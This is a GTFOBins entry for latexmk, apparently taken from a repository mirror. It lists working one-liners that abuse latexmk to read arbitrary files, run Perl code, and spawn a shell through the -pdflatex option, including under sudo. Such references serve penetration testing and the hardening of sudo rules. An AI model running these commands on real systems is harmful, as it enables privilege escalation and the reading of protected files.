1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/latexmk
2026-01-13 18:58:28 +01:00

30 lines
669 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
latexmk -dvi /path/to/temp-file
strings temp-file.dvi
comment: |-
The read file will be part of the output.
contexts:
sudo:
unprivileged:
inherit:
- code: |-
latexmk -e '...'
comment: |-
This allows to run Perl code (`...`).
contexts:
sudo:
unprivileged:
from: perl
shell:
- code: |-
latexmk -pdf -pdflatex='/bin/sh #' /dev/null
contexts:
sudo:
unprivileged:
...